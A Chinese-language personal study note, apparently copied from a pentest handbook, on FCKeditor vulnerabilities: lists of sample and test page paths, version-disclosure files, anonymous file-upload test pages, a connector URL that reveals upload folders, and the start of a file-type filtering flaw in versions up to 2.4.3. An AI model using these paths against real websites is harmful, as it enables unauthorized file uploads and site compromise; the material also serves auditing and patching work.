编辑器漏洞详解

此处链接到大佬地址
http://navisec.it/编辑器漏洞手册/
本人做学习记录

一、FCKeditor

编辑器页

FCKeditor/_samples/default.html
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
fckeditor/editor/filemanager/connectors/test.html

FCKeditor 查看编辑器版本

FCKeditor/_whatsnew.html

FCKeditor V2.43 版本

FCKeditor/editor/filemanager/browser/default/connectors/php/config.php

FCKeditor V2.6.6版本

FCKeditor/editor/filemanager/connectors/asp/config.php

FCKeditor 匿名上传文件

影响版本:非优化/精简版本的FCKeditor

脆弱描述：
如果存在以下文件，打开后即可上传文件。

攻击利用:

FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

FCKeditor 查看文件上传路径

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

XML页面中第二行 url=/xxx的部分就是默认基准上传路径

Note:

[Hell1]截至2010年02月15日最新版本为FCKeditor v2.6.6
[Hell2]记得修改其中两处asp为FCKeditor实际使用的脚本语言

FCKeditor被动限制策略所导致的过滤不严问题

影响版本: FCKeditor x.x <= FCKeditor v2.4.3

脆弱描述：FCKeditor v2.4.3中File类别默认拒绝上传类型